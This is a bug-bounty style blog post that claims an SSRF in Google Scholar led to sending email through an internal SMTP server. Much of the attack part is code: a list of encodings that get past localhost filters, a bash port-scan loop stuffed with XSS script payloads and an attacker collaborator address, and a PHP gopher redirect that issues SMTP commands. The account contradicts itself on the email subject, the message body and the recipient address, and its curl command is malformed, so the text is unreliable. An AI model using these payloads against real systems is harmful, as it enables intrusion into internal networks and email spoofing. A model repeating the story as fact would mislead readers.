Server-Side Request Forgery to Internal SMTP Access (Google scholar)

Imhunterand
4 min readNov 2, 2023

--

Your Report

Summary: Sending Emails from scholar.google.com — Server-Side Request Forgery to Internal SMTP Access

Product: Google Scholar

URL: scholar.google.com

Details Summary

Google Scholar Google Scholar provides easy access to scientific information sources such as journal articles, books, theses and technical reports from around the world. By using Google Scholar, researchers and academics can easily find the latest scientific articles, relevant research results, and other reference materials.

Server-Side Request Forgery (SSRF) is a vulnerability in which an attacker can send a controlled, crafted request via a vulnerable application. We can communicate with different services running on different protocols by utilizing URI schemes. Getting a server to issue a request is not a vulnerability in itself, but it becomes one when you can make requests to things you wouldn’t or shouldn’t normally have access to, such as internal networks or internal services.

In TurboIntruder, there is a function to “Get HTTP Headers” for a specific host.

This function makes a call to the API at https://scholar.google.com/citations?hl=id&view_op=manage_labels and it displays the HTTP Headers of a simple POST request sent from GoogleScholar to the target server.

The ?q= parameter was vulnerable to SSRF due to the absence of proper checks and firewalls.

Initial Proof-of-Concept:

My initial proof-of-concept was extremely bland and I didn’t put very much effort into it:

They thanked me and attempted to patch. However, the patch was merely a regular expression that was checking for the string “127.0.0.1” and “localhost”, which was easily bypassed using different encodings that would still resolve to localhost.

Examples :

0
127.00.1
127.0.01
0.00.0
0.0.00
127.1.0.1
127.10.1
127.1.01
0177.1
0177.0001.0001
0x0.0x0.0x0.0x0
0000.0000.0000.0000
0x7f.0x0.0x0.0x1
0177.0000.0000.0001
0177.0001.0000..0001
0x7f.0x1.0x0.0x1
0x7f.0x1.0x1
localtest.me

There isn’t a solid way to validate hostnames just by using string-based checks, so my suggested mitigation was to resolve all hosts provided in the ?q= parameter and check them against local IP ranges.

About a week and a half later:

“It is on my todo list. Not critical though as there are no local services that could be hit with it.”

Proof of Concept: Hitting Local Services.

I attempted to enumerate different ports that internal services could be running on, even though there were none “that could be hit with it.”

#!/usr/bin/env bash
for port in `seq 1 9999`
do
echo -e "\n\n[+] Checking Port: "$port"\n"
curl -i -X POST 'https://scholar.google.com/citations?view_op=new_profile&hl=id'$1':'$port && echo -e "\n" --data "json=&hl=id&xsrf=AD-1fHYAAAAAZQ4kj7YUQLT7ZRkHBUjTjL8VESA&nun=</script><script>alert(document.cookie)</script>&nuan-1=zz</script><script>alert(document.cookie)</script>&nuan-2=&nuan-3=&nua=</script><script>alert(document.cookie)</script>&nuve=attacker@rpk6ahs7lk6e1zxwglqjbaytbkhb52tr.oastify.com&nui=</script><script>alert(document.cookie)</script>&nuh=http://00.0.0:/&new_profile_btn="
done
➜ imhunterand@skid   ~ chmod +x g.sh && ./g.sh 0177.1

This spat out the following response: https://storage.googleapis.com/bughunters-public/attachments/0a163a8a-6d38-403c-889f-370c04615501-image_2023-09-22_065122343.png

There was an internal SMTP server running on the standard port.

SMTP:

  • SMTP stands for Simple Mail Transfer Protocol.
  • It is a TCP/IP protocol that’s used for sending emails.

In order to be able to send emails with SMTP we have to first have to know how mail transactions work:

  1. SMTP sessions are initiated after the client opens a TCP/IP connection to the server and the server responds with a greeting (220)
  2. The client sends a HELO or EHLO with the clients identity (example: HELO scholar.google.com which means "Hi I'm scholar.google.com")
  3. Now the client has to perform 3 steps each separated by a CRLF for a valid SMTP mail transaction:
  • Step 1: MAIL: This tells the server "Hey, we're starting a new email, reset your state". This is where the email "from" is specified.
  • Step 2: RCPT: Tells the server where (who) we want to send the email too.
  • Step 3: DATA: This is where the Subject and body of the email are set, and the client indicates the end of the mail data by a new line containing only ".". This tells the server that the client confirms the email and tells the server to process it and send it.

Here’s a visualization of the structure of SMTP from RFC 5321:

+----------+                +----------+
+------+ | | | |
| User |<-->| | SMTP | |
+------+ | Client- |Commands/Replies| Server- |
+------+ | SMTP |<-------------->| SMTP | +------+
| File |<-->| | and Mail | |<-->| File |
|System| | | | | |System|
+------+ +----------+ +----------+ +------+
Email client SMTP server

The SMTP Client was the “Get HTTP Headers” function of the API and the the SMTP Server was the service running on an internal port.

Leveraging the SSRF to send emails:

The API function was using libcurl to execute the requests and it was following redirects. The libcurl library supports an overabundance of protocols including gopher:// which essentially sends 1 character, a new line (CR+LF), and the remaining data, which allows people to send a multiline requests. This means we can use gopher to send valid commands to the SMTP server and send emails.

  • http://<server>/mail.php:
<?php
$commands = array(
'HELO scholar.google.com',
'MAIL FROM: <admin@scholar-alerts.bounces.google.com>',
'RCPT To: <imhunterand@oou.us>',
'DATA',
'Subject: corben!',
'Corben (imhunterand) was here, woot woot!',
'.'
);
        $payload = implode('%0A', $commands);        header('Location: gopher://0:25/_'.$payload);
?>

This responds with a 302 redirect to the internal SMTP server with the valid commands to send an email.

I confirmed it worked by visiting the following URL:

I checked my email (burpsuite@interact.us) and I had an email from @scholar-alerts.bounces.google.com with the subject "attacker!" and the body "xss(imhunterand) was here, woot woot!"

Here’s the proof-of-concept video: see 2 videos I attached/upload on this reports.

ImpactAn attacker could access internal networks and internal services. I could have sent valid emails from and as Google Scholar.

Thanks, @imhunterand

--

--

Imhunterand

father, spare time hacker with a background in software development and penetration tester experience. H1: @private IG: @youryreborn